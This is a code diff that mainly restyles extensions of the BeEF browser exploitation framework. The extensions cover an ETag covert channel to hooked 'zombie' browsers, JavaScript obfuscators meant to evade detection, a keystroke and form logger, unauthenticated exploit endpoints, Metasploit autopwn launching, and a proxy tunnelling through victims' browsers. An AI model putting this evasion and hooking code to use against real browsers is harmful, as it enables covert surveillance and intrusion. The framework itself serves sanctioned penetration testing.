def initialize()
@messages={}
def initialize
@messages = {}
end
end
@@ -23,8 +22,8 @@ module ETag
def create_ET_header
inode = File.stat(__FILE__).ino
size = 3
mtime = (Time.now.to_f * 1000000).to_i
return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
mtime = (Time.now.to_f * 1_000_000).to_i
"#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
end
get '/:id/start' do
@@ -36,28 +35,27 @@ module ETag
$etag_server_state[params[:id]][:last_header] = create_ET_header
$etag_server_state[params[:id]][:message] = data
headers "ETag" => $etag_server_state[params[:id]][:last_header]
body "Message start"
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
body 'Message start'
end
get '/:id' do
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
$etag_server_state[params[:id]][:cur_bit] += 1
else
$etag_server_state.delete(params[:id])
status 404
return "Bing"
return 'Bing'
end
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
$etag_server_state[params[:id]][:last_header] = create_ET_header
end
$etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
headers "ETag" => $etag_server_state[params[:id]][:last_header]
body "Bit"
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
body 'Bit'
end
end
end
end
end
end
end

View File

@@ -4,20 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module Extension
module ETag
extend BeEF::API::Extension
@short_name = 'ETag'
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
@description = 'This extension provides a custom BeEF\'s HTTP server ' +
'that implement unidirectional covert timing channel from ' +
'BeEF communication server to zombie browser over Etag header'
end
end
@description = 'This extension provides a custom BeEF HTTP server ' \
'that implements unidirectional covert timing channel from ' \
'BeEF communication server to zombie browser over Etag header.'
end
end
end
require 'extensions/etag/api.rb'
require 'extensions/etag/etag.rb'
require 'extensions/etag/api'
require 'extensions/etag/etag'

View File

@@ -14,6 +14,7 @@ module BeEF
def initialize
return unless @@enabled
@techniques ||= load_techniques
if @techniques.empty?
@@ -40,7 +41,7 @@ module BeEF
end
chain
rescue => e
rescue StandardError => e
print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}"
[]
end
@@ -64,7 +65,7 @@ module BeEF
end
bootstrap
rescue => e
rescue StandardError => e
print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}"
print_error e.backtrace
end
@@ -81,7 +82,7 @@ module BeEF
print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)"
output
rescue => e
rescue StandardError => e
print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}"
print_error e.backtrace
end
@@ -89,4 +90,3 @@ module BeEF
end
end
end

View File

@@ -4,19 +4,19 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Evasion
module Extension
module Evasion
extend BeEF::API::Extension
@short_name = 'evasion'
@full_name = 'Evasion'
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
end
end
end
end
end
require 'extensions/evasion/evasion'
#require 'extensions/evasion/obfuscation/scramble'
# require 'extensions/evasion/obfuscation/scramble'
require 'extensions/evasion/obfuscation/minify'
require 'extensions/evasion/obfuscation/base_64'
require 'extensions/evasion/obfuscation/whitespace'

View File

@@ -19,16 +19,15 @@ module BeEF
'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
end
def execute(input, config)
def execute(input, _config)
encoded = Base64.strict_encode64(input)
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
print_debug "[OBFUSCATION - Base64] Javascript has been base64 encoded"
print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded'
input
end
end
end
end
end

View File

@@ -16,10 +16,10 @@ module BeEF
def execute(input, config)
opts = {
:output => {
output: {
comments: :none
},
:compress => {
compress: {
# show warnings in debug mode
warnings: (config.get('beef.debug') ? true : false),
# remove dead code
@@ -31,9 +31,9 @@ module BeEF
}
}
output = Uglifier.compile(input, opts)
print_debug "[OBFUSCATION - Minifier] JavaScript has been minified"
print_debug '[OBFUSCATION - Minifier] JavaScript has been minified'
output
rescue => e
rescue StandardError => e
print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}"
input
end
@@ -41,4 +41,3 @@ module BeEF
end
end
end

View File

@@ -20,13 +20,13 @@ module BeEF
to_scramble.each do |var, value|
if var == value
# Variables have not been scrambled yet
mod_var = BeEF::Core::Crypto::random_alphanum_string(3)
@output.gsub!(var,mod_var)
config.set("beef.extension.evasion.scramble.#{var}",mod_var)
mod_var = BeEF::Core::Crypto.random_alphanum_string(3)
@output.gsub!(var, mod_var)
config.set("beef.extension.evasion.scramble.#{var}", mod_var)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
else
# Variables already scrambled, re-use the one already created to maintain consistency
@output.gsub!(var,value)
@output.gsub!(var, value)
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
end
@output
@@ -34,13 +34,13 @@ module BeEF
if config.get('beef.extension.evasion.scramble_cookies')
# ideally this should not be static, but it's static in JS code, so fine for nowend
mod_cookie = BeEF::Core::Crypto::random_alphanum_string(5)
if config.get('beef.http.hook_session_name') == "BEEFHOOK"
@output.gsub!("BEEFHOOK",mod_cookie)
config.set('beef.http.hook_session_name',mod_cookie)
mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5)
if config.get('beef.http.hook_session_name') == 'BEEFHOOK'
@output.gsub!('BEEFHOOK', mod_cookie)
config.set('beef.http.hook_session_name', mod_cookie)
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
else
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name'))
@output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name'))
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
end
end
@@ -51,4 +51,3 @@ module BeEF
end
end
end

View File

@@ -15,8 +15,7 @@ module BeEF
def get_bootstrap
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea
decode_function =
"//Dirty IE6 whitespace bug hack
"//Dirty IE6 whitespace bug hack
if (typeof IE_spacer === 'function') {} else {
function IE_spacer(css_space) {
var spacer = '';
@@ -39,10 +38,10 @@ function IE_spacer(css_space) {
}}"
end
def execute(input, config)
def execute(input, _config)
size = input.length
encoded = encode(input)
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"
input
@@ -50,8 +49,7 @@ function IE_spacer(css_space) {
def encode(input)
output = input.unpack('B*')
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
output
output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
end
end
end

View File

@@ -4,22 +4,17 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
module Extension
module Events
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
def self.post_load
if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable")
print_error 'Event Logger extension is not compatible with WebSockets command and control channel'
end
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
end
end
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
@@ -31,6 +26,6 @@ module Events
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
end
end
end
end
end
end

View File

@@ -4,9 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
module Extension
module Events
extend BeEF::API::Extension
@short_name = 'events_logger'
@@ -14,9 +13,8 @@ module Events
@full_name = 'events logger'
@description = 'registers mouse clicks, keystrokes, form submissions'
end
end
end
end
end
require 'extensions/events/handler'

View File

@@ -4,37 +4,34 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
module Extension
module Events
#
# The http handler that manages the Events.
#
class Handler
Z = BeEF::Core::Models::HookedBrowser
def initialize(data)
@data = data
setup()
setup
end
#
# Sets up event logging
#
def setup()
def setup
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error "[EVENTS] beef_hook is null"
print_error '[EVENTS] beef_hook is null'
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.where(:session => beef_hook).first || nil
zombie = Z.where(session: beef_hook).first || nil
if zombie.nil?
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
return
end
@@ -66,8 +63,8 @@ module Events
when 'keys'
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size > 0
print_debug "Event has mods"
if event['mods'].size.positive?
print_debug 'Event has mods'
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
@@ -80,9 +77,7 @@ module Events
end
result
end
end
end
end
end
end
end

View File

@@ -4,12 +4,11 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
#todo remove it from here:
module Extension
# TODO: remove it from here:
# Handlers
#require 'extensions/ipec/fingerprinter'
#require 'extensions/ipec/launcher'
# require 'extensions/ipec/fingerprinter'
# require 'extensions/ipec/launcher'
require 'extensions/ipec/junk_calculator'
module Ipec
@@ -27,24 +26,16 @@ module Extension
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
#todo remove it from here, and make it dynamic.
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator("imapeudora1")
# TODO: remove it from here, and make it dynamic.
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator('imapeudora1')
end
end
end
end
# Models
# todo: to be used when we'll have more IPEC exploits
#require 'extensions/ipec/models/ipec_exploits'
#require 'extensions/ipec/models/ipec_exploits_run'
# require 'extensions/ipec/models/ipec_exploits'
# require 'extensions/ipec/models/ipec_exploits_run'
# RESTful api endpoints
require 'extensions/ipec/rest/ipec'

View File

@@ -16,13 +16,12 @@ module BeEF
def bind_junk_calculator(name)
port = 2000
#todo add binded ports to @binded_sockets. Increase +1 port number if already binded
#if @binded_sockets[port] != nil
#else
#end
# TODO: add binded ports to @binded_sockets. Increase +1 port number if already binded
# if @binded_sockets[port] != nil
# else
# end
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port)
@binded_sockets[name] = port
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class IpecExploits < BeEF::Core::Model
has_many :ipec_exploits_run
end
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class IpecExploitsRun < BeEF::Core::Model
belongs_to :ipec_exploit
end
end
end
end

View File

@@ -8,13 +8,12 @@ module BeEF
module Extension
module Ipec
class IpecRest < BeEF::Core::Router::Router
before do
# NOTE: the method exposed by this class are NOT-AUTHENTICATED.
# They need to be called remotely from a hooked browser.
#error 401 unless params[:token] == config.get('beef.api_token')
#halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
# error 401 unless params[:token] == config.get('beef.api_token')
# halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -27,12 +26,12 @@ module BeEF
# todo: the core of this method should be moved to ../junk_calculator.rb
get '/junk/:name' do
socket_name = params[:name]
halt 401 if not BeEF::Filters.alphanums_only?(socket_name)
halt 401 unless BeEF::Filters.alphanums_only?(socket_name)
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
halt 404 if socket_data == nil
halt 404 if socket_data.nil?
if socket_data.include?("\r\n\r\n")
result = Hash.new
result = {}
headers = socket_data.split("\r\n\r\n").first
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
@@ -41,37 +40,29 @@ module BeEF
result['size'] = headers.size + 4
headers.split("\r\n").each do |line|
if line.include?("Host")
result['host'] = line.size + 2
end
if line.include?("Content-Type")
result['contenttype'] = line.size + 2
end
if line.include?("Referer")
result['referer'] = line.size + 2
end
result['host'] = line.size + 2 if line.include?('Host')
result['contenttype'] = line.size + 2 if line.include?('Content-Type')
result['referer'] = line.size + 2 if line.include?('Referer')
end
result.to_json
else
print_error "[IPEC] Looks like there is no CRLF in the data received!"
print_error '[IPEC] Looks like there is no CRLF in the data received!'
halt 404
end
end
# The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir.
# If you want to modify the pref.js file, do the following to re-pack the extension:
# $cd firefox_extension_directory
# $zip -r ../result-name.xpi *
get '/ff_extension' do
response['Content-Type'] = "application/x-xpinstall"
ff_extension = "#{File.expand_path('../../../ipec/files', __FILE__)}/LinkTargetFinder.xpi"
response['Content-Type'] = 'application/x-xpinstall'
ff_extension = "#{File.expand_path('../../ipec/files', __dir__)}/LinkTargetFinder.xpi"
print_info "[IPEC] Serving Firefox Extension: #{ff_extension}"
send_file "#{ff_extension}",
:type => 'application/x-xpinstall',
:disposition => 'inline'
send_file ff_extension.to_s,
type: 'application/x-xpinstall',
disposition: 'inline'
end
end
end
end

View File

@@ -55,7 +55,7 @@ module BeEF
m_details = msf.call('module.info', 'exploit', m)
next unless m_details
key = 'msf_' + m.split('/').last
key = "msf_#{m.split('/').last}"
# system currently doesn't support multilevel categories
# categories = ['Metasploit']
# m.split('/')[0...-1].each{|c|
@@ -75,6 +75,7 @@ module BeEF
elsif m_details['description'] =~ /Opera/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
end
# TODO:
# - Add support for detection of target OS
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
@@ -132,9 +133,7 @@ module BeEF
}
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
unless msf_payload_options
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
end
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
options
@@ -170,7 +169,7 @@ module BeEF
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
bopts << { sploit_url: uri }
c = BeEF::Core::Models::Command.new(
BeEF::Core::Models::Command.new(
data: bopts.to_json,
hooked_browser_id: hb.id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),

View File

@@ -113,7 +113,7 @@ module BeEF
# Raised when invalid JSON input is passed to an /api/msf handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
@@ -122,7 +122,7 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/msf handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze
def initialize(message = nil)
str = 'Invalid "%s" parameter passed to /api/msf handler'

View File

@@ -102,7 +102,7 @@ module BeEF
sleep 1
code = http.head(path, headers).code.to_i
print_debug "[Metasploit] Success - HTTP response: #{code}"
rescue StandardError => e
rescue StandardError
retry if (retries -= 1).positive?
end
@@ -185,6 +185,9 @@ module BeEF
get_lock
res = call('module.info', 'exploit', name)
res || {}
rescue StandardError => e
print_error "Call module.info for module #{name} failed: #{e.message}"
{}
ensure
release_lock
end
@@ -193,6 +196,9 @@ module BeEF
get_lock
res = call('module.compatible_payloads', name)
res || {}
rescue StandardError => e
print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}"
{}
ensure
release_lock
end
@@ -201,6 +207,9 @@ module BeEF
get_lock
res = call('module.options', 'exploit', name)
res || {}
rescue StandardError => e
print_error "Call module.options for module #{name} failed: #{e.message}"
{}
ensure
release_lock
end
@@ -211,6 +220,9 @@ module BeEF
return {} unless res || res['modules']
res['modules']
rescue StandardError => e
print_error "Call module.payloads failed: #{e.message}"
{}
ensure
release_lock
end
@@ -222,6 +234,7 @@ module BeEF
res
rescue StandardError => e
print_error "Call module.options for payload #{name} failed: #{e.message}"
{}
ensure
release_lock
@@ -234,7 +247,7 @@ module BeEF
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
res
rescue StandardError => e
print_error "Exploit failed for #{exploit} \n"
print_error "Exploit failed for #{exploit}\n#{e.message}"
false
ensure
release_lock
@@ -248,7 +261,7 @@ module BeEF
get_lock
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
rescue StandardError => e
print_error 'Failed to launch autopwn'
print_error "Failed to launch browser_autopwn: #{e.message}"
false
ensure
release_lock

View File

@@ -12,7 +12,6 @@ module BeEF
class NetworkService < BeEF::Core::Model
belongs_to :hooked_browser
#
# Stores a network service in the data store
#
@@ -53,7 +52,7 @@ module BeEF
port: service[:port],
ntype: service[:ntype]
).length
return if total > 0
return if total.positive?
# store the returned network service details
network_service = BeEF::Core::Models::NetworkService.new(

View File

@@ -27,7 +27,6 @@ module BeEF
# Returns the entire list of network hosts for all zombies
get '/hosts' do
begin
hosts = @nh.all.distinct.order(:id)
count = hosts.length
@@ -43,11 +42,9 @@ module BeEF
print_error "Internal error while retrieving host list (#{e.message})"
halt 500
end
end
# Returns the entire list of network services for all zombies
get '/services' do
begin
services = @ns.all.distinct.order(:id)
count = services.length
@@ -63,11 +60,9 @@ module BeEF
print_error "Internal error while retrieving service list (#{e.message})"
halt 500
end
end
# Returns all hosts given a specific hooked browser id
get '/hosts/:id' do
begin
id = params[:id]
hooked_browser = @hb.where(session: id).distinct
@@ -89,11 +84,9 @@ module BeEF
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
halt 500
end
end
# Returns all services given a specific hooked browser id
get '/services/:id' do
begin
id = params[:id]
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
@@ -114,15 +107,14 @@ module BeEF
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
halt 500
end
end
# Returns a specific host given its id
get '/host/:id' do
begin
id = params[:id]
host = @nh.find(id)
raise InvalidParamError, 'id' if host.nil?
halt 404 if host.nil?
host.to_h.to_json
@@ -133,11 +125,9 @@ module BeEF
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
halt 500
end
end
# Deletes a specific host given its id
delete '/host/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
@@ -154,15 +144,14 @@ module BeEF
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end
end
# Returns a specific service given its id
get '/service/:id' do
begin
id = params[:id]
service = @ns.find(id)
raise InvalidParamError, 'id' if service.nil?
halt 404 if service.empty?
service.to_h.to_json
@@ -173,7 +162,6 @@ module BeEF
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
halt 500
end
end
# Raised when invalid JSON input is passed to an /api/network handler.
class InvalidJsonError < StandardError

View File

@@ -8,12 +8,10 @@
require 'net/smtp'
module BeEF
module Extension
module Notifications
module Channels
module Extension
module Notifications
module Channels
class Email
#
# Constructor
#
@@ -26,25 +24,21 @@ module Channels
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
# configure the email client
msg = "Subject: BeEF Notification\n\n" + message
msg = "Subject: BeEF Notification\n\n#{message}"
smtp = Net::SMTP.new @smtp_host, @smtp_port
#if @smtp_tls_enable?
# if @smtp_tls_enable?
# smtp.enable_starttls
# smtp.start('beefproject.com', @from_address, @password, :login) do
# smtp.send_message(msg, @from_address, @to_address)
# end
#else
# else
smtp.start do
smtp.send_message(msg, @from_address, to_address)
end
#end
# end
end
end
end
end
end
end
end
end
end

View File

@@ -1,12 +1,10 @@
require 'rushover'
module BeEF
module Extension
module Notifications
module Channels
module Extension
module Notifications
module Channels
class Pushover
def initialize(message)
@config = BeEF::Core::Configuration.instance
@@ -15,12 +13,11 @@ module Channels
res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)
print_error '[Notifications] Pushover notification failed' unless res.ok?
rescue => e
rescue StandardError => e
print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'"
end
end
end
end
end
end
end
end
end

View File

@@ -6,12 +6,10 @@
require 'slack-notifier'
module BeEF
module Extension
module Notifications
module Channels
module Extension
module Notifications
module Channels
class SlackWorkspace
def initialize(message)
@config = BeEF::Core::Configuration.instance
@@ -20,22 +18,24 @@ module Channels
channel = @config.get('beef.extension.notifications.slack.channel')
username = @config.get('beef.extension.notifications.slack.username')
if webhook_url =~ /your_webhook_url/ or webhook_url !~ %r{^https://hooks\.slack\.com\/services\/}
if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hook\.slack.com/services/')
print_error '[Notifications] Invalid Slack WebHook URL'
return
end
notifier = Slack::Notifier.new webhook_url,
notifier = Slack::Notifier.new(
webhook_url,
channel: channel,
username: username,
http_options: { open_timeout: 10 }
)
notifier.ping message
rescue => e
rescue StandardError => e
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
end
end
end
end
end
end
end
end
end

View File

@@ -8,12 +8,10 @@
require 'twitter'
module BeEF
module Extension
module Notifications
module Channels
module Extension
module Notifications
module Channels
class Tweet
#
# Constructor
#
@@ -30,14 +28,12 @@ module Channels
begin
client.direct_message_create(username, message)
rescue
print_error "Twitter send failed, verify tokens have Read/Write/DM acceess..."
rescue StandardError
print_error 'Twitter send failed, verify tokens have Read/Write/DM acceess...'
end
end
end
end
end
end
end
end
end
end

View File

@@ -4,17 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Notifications
module Extension
module Notifications
extend BeEF::API::Extension
@short_name = 'notifications'
@full_name = 'Notifications'
@description = 'Generates external notifications for events in BeEF'
end
end
end
end
end
require 'extensions/notifications/notifications'

View File

@@ -10,49 +10,38 @@ require 'extensions/notifications/channels/pushover'
require 'extensions/notifications/channels/slack_workspace'
module BeEF
module Extension
module Notifications
module Extension
module Notifications
#
# Notifications class
#
class Notifications
def initialize(from, event, time_now, hb)
@config = BeEF::Core::Configuration.instance
if @config.get('beef.extension.notifications.enable') == false
# notifications are not enabled
return nil
else
return unless @config.get('beef.extension.notifications.enable')
@from = from
@event = event
@time_now = time_now
@hb = hb
end
message = "#{from} #{event} #{time_now} #{hb}"
if @config.get('beef.extension.notifications.twitter.enable') == true
username = @config.get('beef.extension.notifications.twitter.target_username')
BeEF::Extension::Notifications::Channels::Tweet.new(username,message)
BeEF::Extension::Notifications::Channels::Tweet.new(username, message)
end
if @config.get('beef.extension.notifications.email.enable') == true
to_address = @config.get('beef.extension.notifications.email.to_address')
BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
BeEF::Extension::Notifications::Channels::Email.new(to_address, message)
end
if @config.get('beef.extension.notifications.pushover.enable') == true
BeEF::Extension::Notifications::Channels::Pushover.new(message)
end
BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true
if @config.get('beef.extension.notifications.slack.enable') == true
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message)
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true
end
end
end
end
end
end
end

View File

@@ -8,17 +8,16 @@ module BeEF
module Proxy
module API
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.pre_http_start(http_hook_server)
config = BeEF::Core::Configuration.instance
Thread.new{
http_hook_server.semaphore.synchronize{
Thread.new do
http_hook_server.semaphore.synchronize do
BeEF::Extension::Proxy::Proxy.new
}
}
end
end
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
end

View File

@@ -4,21 +4,19 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Proxy
module Extension
module Proxy
extend BeEF::API::Extension
@short_name = 'proxy'
@full_name = 'proxy'
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
end
end
end
end
end
require 'extensions/requester/models/http'
#require 'extensions/proxy/models/http'
# require 'extensions/proxy/models/http'
require 'extensions/proxy/proxy'
require 'extensions/proxy/api'
require 'extensions/proxy/rest/proxy'

View File

@@ -9,7 +9,6 @@ module BeEF
module Extension
module Proxy
class Proxy
HB = BeEF::Core::Models::HookedBrowser
H = BeEF::Core::Models::Http
@response = nil
@@ -22,14 +21,14 @@ module BeEF
# setup proxy for SSL/TLS
ssl_context = OpenSSL::SSL::SSLContext.new
#ssl_context.ssl_version = :TLSv1_2
# ssl_context.ssl_version = :TLSv1_2
# load certificate
begin
cert_file = @conf.get('beef.extension.proxy.cert')
cert = File.read(cert_file)
ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
rescue
rescue StandardError
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
end
@@ -38,7 +37,7 @@ module BeEF
key_file = @conf.get('beef.extension.proxy.key')
key = File.read(key_file)
ssl_context.key = OpenSSL::PKey::RSA.new(key)
rescue
rescue StandardError
print_error "[Proxy] Could not load SSL key '#{key_file}'"
end
@@ -51,7 +50,7 @@ module BeEF
end
end
def handle_request socket
def handle_request(socket)
request_line = socket.readline
# HTTP method # defaults to GET
@@ -59,17 +58,15 @@ module BeEF
# Handle SSL requests
url_prefix = ''
if method == "CONNECT" then
if method == 'CONNECT'
# request_line is something like:
# CONNECT example.com:443 HTTP/1.1
host_port = request_line.split(" ")[1]
host_port = request_line.split[1]
proto = 'https'
url_prefix = proto + '://' + host_port
url_prefix = "#{proto}://#{host_port}"
loop do
line = socket.readline
if line.strip.empty?
break
end
break if line.strip.empty?
end
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
socket.accept
@@ -77,13 +74,13 @@ module BeEF
request_line = socket.readline
end
method, path, version = request_line.split(" ")
method, _path, version = request_line.split
# HTTP scheme/protocol # defaults to http
proto = 'http' unless proto.eql?('https')
# HTTP version # defaults to 1.0
version = 'HTTP/1.0' if version !~ /\AHTTP\/\d\.\d\z/
version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z}
# HTTP request path
path = request_line[/^\w+\s+(\S+)/, 1]
@@ -94,27 +91,23 @@ module BeEF
